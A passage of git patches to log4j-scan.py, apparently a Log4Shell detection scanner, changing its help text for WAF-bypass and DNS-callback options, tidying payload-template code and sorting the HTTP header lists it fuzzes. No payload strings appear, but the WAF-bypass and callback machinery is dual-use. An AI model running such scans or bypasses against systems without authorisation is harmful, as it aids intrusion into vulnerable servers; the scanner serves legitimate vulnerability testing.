DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] +usage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] + [--wait-time WAIT_TIME] [--waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test-CVE-2021-45046] + [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects] optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -p PROXY, --proxy PROXY - Send requests through proxy. proxy should be specified in the format supported by requests - (http[s]://:) + send requests through proxy -l USEDLIST, --list USEDLIST Check a list of URLs. --request-type REQUEST_TYPE @@ -59,9 +59,10 @@ optional arguments: --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. + --custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD + Test with custom WAF bypass payload. --test-CVE-2021-45046 Test using payloads for CVE-2021-45046 (detection payloads). - --custom-waf-bypass Use your own custom payload. --dns-callback-provider DNS_CALLBACK_PROVIDER DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST From 4a6fdfd38d8511c1d64910d4cfb09cf952c1b386 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 19:50:57 +0400 Subject: [PATCH 20/22] clean-up --- log4j-scan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index e2b9f39..d62ab85 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -183,7 +183,7 @@ def generate_waf_bypass_payloads(callback_host, random_string): payloads = [] for i in waf_bypass_payloads: new_payload = i.replace("{{callback_host}}", callback_host) - new_payload = new_payload.replace("{{random}}", f'{random_string}') + new_payload = new_payload.replace("{{random}}", random_string) payloads.append(new_payload) return payloads From 85db80b2bf343f84419494eca5e60592ebd3153b Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 20:00:28 +0400 Subject: [PATCH 21/22] minor clean-up --- headers-minimal.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/headers-minimal.txt b/headers-minimal.txt index 0813b1e..2f2042b 100644 --- a/headers-minimal.txt +++ b/headers-minimal.txt @@ -1,5 +1,4 @@ -# Some security appliance seems reset requests when headers are >= ~50 => Minimal headers list. -# Due to 'Authorization' header potentially added with some some options, this list should stay at 48 values. +# Security appliances may reset requests when headers are larger then the typical. Referer X-Api-Version Accept-Charset @@ -28,6 +27,7 @@ X-Csrf-Token X-Do-Not-Track X-Forwarded X-Forwarded-By +X-Forward-For X-Forwarded-For X-Forwarded-Host X-Forwarded-Port From a6d7bc9d3540788cea8e8a474cc7f479a0c11819 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 20:03:48 +0400 Subject: [PATCH 22/22] sort --> uniq all headers files.txt --- headers-large.txt | 2 +- headers-minimal.txt | 16 ++++++++-------- headers.txt | 15 +++++++-------- 3 files changed, 16 insertions(+), 17 deletions(-) diff --git a/headers-large.txt b/headers-large.txt index f88cb14..207d809 100644 --- a/headers-large.txt +++ b/headers-large.txt @@ -1152,4 +1152,4 @@ X-Zotero-Version X-Ztgo-Bearerinfo Y Zotero-Api-Version -Zotero-Write-Token +Zotero-Write-Token \ No newline at end of file diff --git a/headers-minimal.txt b/headers-minimal.txt index 2f2042b..9943e07 100644 --- a/headers-minimal.txt +++ b/headers-minimal.txt @@ -1,33 +1,32 @@ # Security appliances may reset requests when headers are larger then the typical. -Referer -X-Api-Version Accept-Charset Accept-Datetime Accept-Encoding Accept-Language +Cache-Control Cookie +DNT Forwarded Forwarded-For Forwarded-For-Ip Forwarded-Proto From +Max-Forwards +Origin +Pragma +Referer True-Client-IP Upgrade User-Agent Via Warning -Max-Forwards -Origin -Pragma -DNT -Cache-Control +X-Api-Version X-Att-DeviceId X-Correlation-ID X-Csrf-Token X-Do-Not-Track X-Forwarded X-Forwarded-By -X-Forward-For X-Forwarded-For X-Forwarded-Host X-Forwarded-Port @@ -35,6 +34,7 @@ X-Forwarded-Proto X-Forwarded-Scheme X-Forwarded-Server X-Forwarded-Ssl +X-Forward-For X-From X-Geoip-Country X-Http-Destinationurl diff --git a/headers.txt b/headers.txt index 33abea1..632327d 100644 --- a/headers.txt +++ b/headers.txt @@ -1,27 +1,26 @@ -Referer -X-Api-Version Accept-Charset Accept-Datetime Accept-Encoding Accept-Language +Cache-Control Cookie +DNT Forwarded Forwarded-For Forwarded-For-Ip Forwarded-Proto From +Max-Forwards +Origin +Pragma +Referer TE True-Client-IP Upgrade User-Agent Via Warning -Max-Forwards -Origin -Pragma -DNT -Cache-Control - +X-Api-Version X-Att-Deviceid X-ATT-DeviceId X-Correlation-ID